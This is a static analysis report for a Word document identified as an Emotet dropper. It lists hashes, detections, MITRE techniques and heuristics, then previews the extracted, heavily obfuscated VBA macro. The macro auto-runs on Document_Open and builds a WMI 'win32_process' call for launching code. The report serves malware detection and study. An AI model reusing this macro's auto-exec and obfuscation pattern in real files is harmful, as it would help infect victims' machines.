Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 24ef16685502712a…

MALICIOUS

Office (OLE)

225.7 KB Created: 2020-09-02 07:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 0ddc1e808e076bcb1811ab22ad46a613 SHA-1: c161dd7eb1a4399ad52e91ad756f2ff2a3e37ba6 SHA-256: 24ef16685502712abb2c40a3e5ea87671a5197d6f76c8ab624f13eceadba2161
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetWinMob0920-9636503-0', indicating it's a known Emotet dropper. The presence of a 'Document_Open' VBA macro that uses 'CreateObject' strongly suggests it's designed to execute arbitrary code. The macro's code is heavily obfuscated, but its typical behavior is to download and execute a secondary payload, consistent with Emotet's modus operandi.

Heuristics 6

  • ClamAV: Doc.Dropper.EmotetWinMob0920-9636503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetWinMob0920-9636503-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19168 bytes
SHA-256: b28b12ecd93ae0a566426b9cd5a35cd89332ce453de2c9c403dfda2d57c0e5c7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Yyu77nnc673iz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Mgw5fery1korrpuv.Qjf2ysrk9n8oc569
End Sub


Attribute VB_Name = "Mgw5fery1korrpuv"
Attribute VB_Base = "0{9526D9D0-B0B6-494D-AEE4-2BE8D6C6A9E8}{25863C6E-0CD1-4341-9B7A-1372BC02660B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Qjf2ysrk9n8oc569()
   On Error Resume Next
   Set Nghw5km_8tqhnpf2 = Xa9jid9ihfq
         lkWrgQE6 = 3456 / ChrB(dIfb54) / 549 - ChrB(456) - IAEi02r36 / Sin(JyQgJ)
         Set Um_r1wxyydmt0 = Rdy4_8dm8ps
         MYbz23mNr = CDbl(453 + Round(nPel0))
   wLmpFJ = CByte(56)
   Set Hdknwe8yehq2y5 = Cr5zolhp5upfuiq
   RzPY9ui8 = 5 - 7 * 60 - CDbl(23) - (fLNLc5mU * jUfzk28J - 3 + 4) + (366 / ilsW44a)
      While erIQ2V <> tOVp8L7
      Set O_lmuokshxk8ry = Dgo_7d2eccyq4h_nqy
         zHbyb72 = CSng(AuD * 3456)
      Wend
      If emagX668 < dooLT Then
      Set W3mr01gmr3bk0fxj0 = Gvl56jj79rki
         llONr2Io = CBool(1 - 334 - uiwiU * Sgn(gsjL))
      End If
      Set Wjy4g5zqjz3km = U1lg9ahgcrb
      nsZIG = Lkry535 + 566
Dc0t8a9pi7oc367 = 105
   On Error Resume Next
   Set Nn638gozbpt5cxg14n = X5tyoz2zw7qvral
         lkWrgQE6 = 3456 / ChrB(dIfb54) / 549 - ChrB(456) - IAEi02r36 / Sin(JyQgJ)
         Set X7zqkwb_ql9m = N39eykc_1rcgr
         MYbz23mNr = CDbl(453 + Round(nPel0))
   wLmpFJ = CByte(56)
   Set Vv5c53pk5e9ik4tic = Kocetr42iihpwk55i
   RzPY9ui8 = 5 - 7 * 60 - CDbl(23) - (fLNLc5mU * jUfzk28J - 3 + 4) + (366 / ilsW44a)
      While erIQ2V <> tOVp8L7
      Set Qjdv7j95hq_krr = I3c1zcmjcugdps
         zHbyb72 = CSng(AuD * 3456)
      Wend
      If emagX668 < dooLT Then
      Set Kruew4y5s4gzkn29 = S_lt3dtmkabb1gtlu
         llONr2Io = CBool(1 - 334 - uiwiU * Sgn(gsjL))
      End If
      Set N2m7wy9u9tn = Xlwpnphexoa
      nsZIG = Lkry535 + 566
U89aofi26il7ecl7 = ChrW$(Dc0t8a9pi7oc367 + (10))
   On Error Resume Next
   Set A4ez9os5ulk8 = L7ktxpq6ea6
         lkWrgQE6 = 3456 / ChrB(dIfb54) / 549 - ChrB(456) - IAEi02r36 / Sin(JyQgJ)
         Set Q0ljbt70812qfd3 = Mlycz0_ejs9e_
         MYbz23mNr = CDbl(453 + Round(nPel0))
   wLmpFJ = CByte(56)
   Set W4jflpgus3o9i = D5ouygo4m46y_hat
   RzPY9ui8 = 5 - 7 * 60 - CDbl(23) - (fLNLc5mU * jUfzk28J - 3 + 4) + (366 / ilsW44a)
      While erIQ2V <> tOVp8L7
      Set T0u69ha4nd958y2 = G_peor5_cqqlxp0u
         zHbyb72 = CSng(AuD * 3456)
      Wend
      If emagX668 < dooLT Then
      Set Ex_y7gxn2ldq_qee92 = Ophkfv4r2zf9
         llONr2Io = CBool(1 - 334 - uiwiU * Sgn(gsjL))
      End If
      Set J62a3co442xg = Ncalhzz2_u0n5dcz
      nsZIG = Lkry535 + 566
C3ly9zu64e1mmhz = "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))si82fFHG74_(( sa3fj4_ hu23V))snm82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sgm82fFHG74_(( sa3fj4_ hu23V))st82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s" + U89aofi26il7ecl7 + "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s:82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))sin82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s382fFHG74_(( sa3fj4_ hu23V))s282fFHG74_(( sa3fj4_ hu23V))s_82fFHG74_(( sa3fj4_ hu23V))s" + Mgw5fery1korrpuv.J101e6hfj9pz5 + "82fFHG74_(( sa3fj4_ hu23V))sro82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sce82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))s"
   On Error Resume Next
   Set Lheeu169qp7b = Wwtkyx4ghxx8d
         lkWrgQE6 = 3456 / ChrB(dIfb54) / 549 - ChrB(456) - IAEi02r36 / Sin(JyQgJ)
         Set Koou907r68zh = Cn3q9l0nk502oubi
         MYbz23mNr = CDbl(453 + Round(nPel0))
   wLmpFJ = CByte(56)
   Set Mhruptb69cro2xw = Yz5qgzwe4eu
... (truncated)